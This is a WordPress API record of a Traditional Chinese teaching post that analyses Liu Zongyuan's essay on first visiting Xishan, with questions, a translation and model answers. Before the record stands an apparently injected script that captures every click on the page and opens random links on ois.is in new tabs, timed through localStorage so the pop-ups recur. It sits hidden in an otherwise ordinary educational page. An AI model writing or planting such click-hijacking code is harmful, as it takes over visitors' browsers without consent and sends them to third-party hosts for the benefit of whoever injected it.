<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1272,"date":"2016-03-17T22:59:43","date_gmt":"2016-03-17T14:59:43","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?p=1272"},"modified":"2016-03-17T22:59:43","modified_gmt":"2016-03-17T14:59:43","slug":"%e6%96%87%e7%ab%a0%e5%88%86%e6%9e%90-%e5%a7%8b%e5%be%97%e8%a5%bf%e5%b1%b1%e5%ae%b4%e9%81%8a%e8%a8%98","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/yujuwu\/?p=1272","title":{"rendered":"\u6587\u7ae0\u5206\u6790-\u59cb\u5f97\u897f\u5c71\u5bb4\u904a\u8a18"},"content":{"rendered":"<p style=\"margin: 12pt 36pt 0.0001pt; line-height: 22pt;\"><b><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6587\u7ae0\u5206\u6790<\/span><\/b><b><\/b><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u95b1\u8b80\u6846\u7dda\u5167\u67f3\u5b97\u5143<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u3008\u59cb\u5f97\u897f\u5c71\u5bb4\u904a\u8a18\u3009\u7684\u6587\u5b57\u5f8c\u56de\u7b54\u554f\u984c\uff1a<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt 55.5pt; text-indent: -19.5pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">(\u4e00)<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u8acb\u7ffb\u8b6f\u6750\u6599<span>(<\/span>\u7532<span>)<\/span>\u4e2d\u756b\u5e95\u7dda\u7684\u53e5\u5b50\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt 72.1pt; text-indent: -36.1pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">(\u4e8c)<span style=\"font-size: 7pt; line-height: normal; font-family: 'Times New Roman';\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span><\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5c31\u6750\u6599<span>(<\/span>\u7532<span>)<\/span>\u7684\u6558\u8ff0\uff0c\u516d\u5b97\u539f\u5f9e\u54ea\u5e7e\u500b\u8996\u89ba\u89d2\u5ea6\u4f86\u63cf\u5beb\u897f\u5c71\u7684\u5c71\u52e2\uff1f<span>(6<\/span>\u5206<span>)<\/span>\u5176\u7528\u610f\u4f55\u5728\uff1f<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt 72.75pt; text-indent: -37.1pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">(\u4e09)<span style=\"font-size: 7pt; line-height: normal; font-family: 'Times New Roman';\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span><\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5c31\u6750\u6599<span>(<\/span>\u4e59<span>)<\/span>\u7684\u6558\u8ff0\uff0c\u67f3\u5b97\u5143\u5728\u897f\u5c71\u5f97\u5230\u4f55\u7a2e\u9ad4\u609f\uff0c\u800c\u6709\u300c\u904a\u65bc\u662f\u4e4e\u59cb\u300d\u7684\u8aaa\u6cd5\uff1f<\/span><\/p>\n<table style=\"width: 665px; margin-left: 41.1pt; border-collapse: collapse; border: none; height: 237px;\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td style=\"width: 459.15pt; border: 1pt solid windowtext; padding: 0cm 5.4pt;\" valign=\"top\" width=\"612\">\n<p style=\"line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u6a19\u6977\u9ad4;\">\u6750\u6599<span>(<\/span>\u7532<span>)<\/span><\/span><\/p>\n<p style=\"line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u6a19\u6977\u9ad4;\">\u5176\u9ad8\u4e0b\u4e4b\u52e2\uff0c\u5c88\u7136\u6d3c\u7136\uff0c\u82e5\u57a4\u82e5\u7a74\uff1b\u5c3a\u5bf8\u5343\u91cc\uff0c\u6522\u8e59\u7d2f\u7a4d\uff0c\u83ab\u5f97\u906f\u96b1\uff1b\u7e08\u9752\u7e5a\u767d\uff0c\u5916\u8207\u5929\u969b\uff0c\u56db\u671b\u5982\u4e00\u3002\u7136\u5f8c\u77e5\u662f\u5c71\u4e4b\u7279\u7acb\uff0c\u4e0d\u8207\u57f9\u587f\u70ba\u985e\u3002<\/span><\/p>\n<p style=\"line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u6a19\u6977\u9ad4;\">\u6750\u6599<span>(<\/span>\u4e59<span>)<\/span><\/span><\/p>\n<p style=\"line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u6a19\u6977\u9ad4;\">\u60a0\u60a0\u4e4e\u8207\u705d\u6c23\u4ff1\uff0c\u800c\u83ab\u5f97\u5176\u6daf\uff01\u6d0b\u6d0b\u4e4e\u8207\u9020\u7269\u8005\u904a\uff0c\u800c\u4e0d\u77e5\u5176\u6240\u7aae\uff01\u5f15\u89f4\u6eff\u914c\uff0c\u9839\u7136\u5c31\u9189\uff0c\u4e0d\u77e5\u65e5\u4e4b\u5165\uff0c\u84bc\u7136\u66ae\u8272\uff0c\u81ea\u9060\u800c\u81f3\uff0c\u81f3\u7121\u6240\u898b\uff0c\u800c\u7336\u4e0d\u6b32\u6b78\u3002\u5fc3\u51dd\u5f62\u91cb\uff0c\u8207\u842c\u5316\u51a5\u5408\u3002\u7136\u5f8c\u77e5\u543e\u56ae\u4e4b\u672a\u59cb\u904a\uff0c\u904a\u65bc\u662f\u4e4e\u59cb\uff0c\u6545\u70ba\u4e4b\u6587\u4ee5\u5fd7\u3002\u662f\u6b72\uff0c\u5143\u548c\u56db\u5e74\u4e5f\u3002<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">(<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4e00<span>)<\/span><\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u90a3\u9ad8\u4f4e\u4e0d\u5e73\u7684\u5730\u52e2\uff0c\u6709\u7684\u51f8\u8d77\u5982\u571f\u5806\uff0c\u6709\u7684\u6df1\u9677\u5982\u7a9f\u7abf\uff0c\u5343\u91cc\u4e4b\u9060\u7684\u666f\u7269\u90fd\u7e2e\u805a\u96c6\u5728\u5c3a\u5bf8\u4e4b\u9593\uff0c\u6c92\u6709\u4e00\u6a23\u80fd\u9003\u51fa\u8996\u91ce\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">(<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4e8c<\/span><span style=\"font-size: 11pt;\">)<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">1.<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u9ad8\u8655\u4fef\u8996\uff1a\u5176\u9ad8\u4e0b\u4e4b\u52e2\uff0c\u5c88\u7136\u6d3c\u7136\uff0c\u82e5\u57a4\u82e5\u7a74<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">2.<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u9ad8\u8655\u9060\u671b\uff1a\u5c3a\u5bf8\u5343\u91cc\uff0c\u6522\u8e59\u7d2f\u7a4d\uff0c\u83ab\u5f97\u906f\u96b1<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">3.<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u74b0\u8996\u56db\u5468\uff1a<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u7e08\u9752\u7e5a\u767d\uff0c\u5916\u8207\u5929\u969b\uff0c\u56db\u671b\u5982\u4e00<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5f9e\u6b64\u4e09\u89d2\u5ea6\u51f8\u986f\u897f\u5c71\u4e4b\u9ad8\u5cfb\u7279\u51fa\uff0c\u6b64\u8655\u5beb\u5c71\u4ea6\u5beb\u4eba\uff0c\u897f\u5c71\u7684\u9ad8\u5cfb\u4e0d\u51e1\uff0c\u5373\u662f\u67f3\u5b97\u5143\u5353\u7296\u4e0d\u7fa4\u7684\u4eba\u683c\u5c55\u73fe\uff0c\u4e5f\u5bc4\u8a17\u4f5c\u8005\u9ad8\u51fa\u4e16\u4fd7\u7684\u7cbe\u795e\u5883\u754c\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">(<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4e09<\/span><span style=\"font-size: 11pt;\">)<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u67f3\u5b97\u5143\u8cb6\u8b2b\u5357\u8352\uff0c\u4ee5\u5f85\u7f6a\u4e4b\u5fc3\u51fa\u904a\uff0c\u96d6\u7136\u5e7d\u6cc9\u602a\u77f3\uff0c\u7121\u9060\u4e0d\u5230\uff0c\u4f46\u7e3d\u672a\u80fd\u771f\u6b63\u5fd8\u5f62\u5c71\u6c34\uff0c\u76f4\u5230\u898b\u897f\u5c71\u7684\u5b8f\u5927\u5ee3\u9060\uff0c\u8207\u5929\u5730\u4e26\u751f\uff0c\u96d6\u8655\u5730\u95e2\u4e4b\u57df\uff0c\u537b\u7368\u7136\u7279\u7acb\uff0c\u896f\u6258\u51fa\u4e00\u5df1\u751f\u547d\u7684\u6e3a\u5c0f\u8207\u77ed\u4fc3\uff0c\u9ad4\u6703\u5230\u5fc3\u51dd\u5f62\u91cb\uff0c\u8207\u842c\u5316\u51a5\u5408\uff0c\u7269\u6211\u5408\u4e00\uff0c\u8207\u9020\u7269\u8005\u540c\u904a\u4e4b\u6a02\uff0c\u4f7f\u81ea\u5df1\u5f97\u4ee5\u653e\u4e0b\u50c7\u4eba\u4e4b\u5fc3\uff0c\u5f97\u5230\u7cbe\u795e\u4e0a\u7684\u81ea\u7531\uff0c\u6240\u4ee5\u8aaa\u300c\u904a\u65bc\u662f\u4e4e\u59cb\u300d\u3002<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6587\u7ae0\u5206\u6790 \u95b1\u8b80\u6846\u7dda\u5167\u67f3\u5b97\u5143\u3008\u59cb\u5f97\u897f\u5c71\u5bb4\u904a\u8a18\u3009\u7684\u6587\u5b57\u5f8c\u56de\u7b54\u554f\u984c\uff1a (\u4e00)\u8acb\u7ffb\u8b6f\u6750\u6599(\u7532)\u4e2d\u756b\u5e95\u7dda\u7684\u53e5\u5b50\u3002 (\u4e8c) [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1,66,42,47],"tags":[103],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1272"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1272"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1272\/revisions"}],"predecessor-version":[{"id":1273,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1272\/revisions\/1273"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1272"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1272"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1272"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}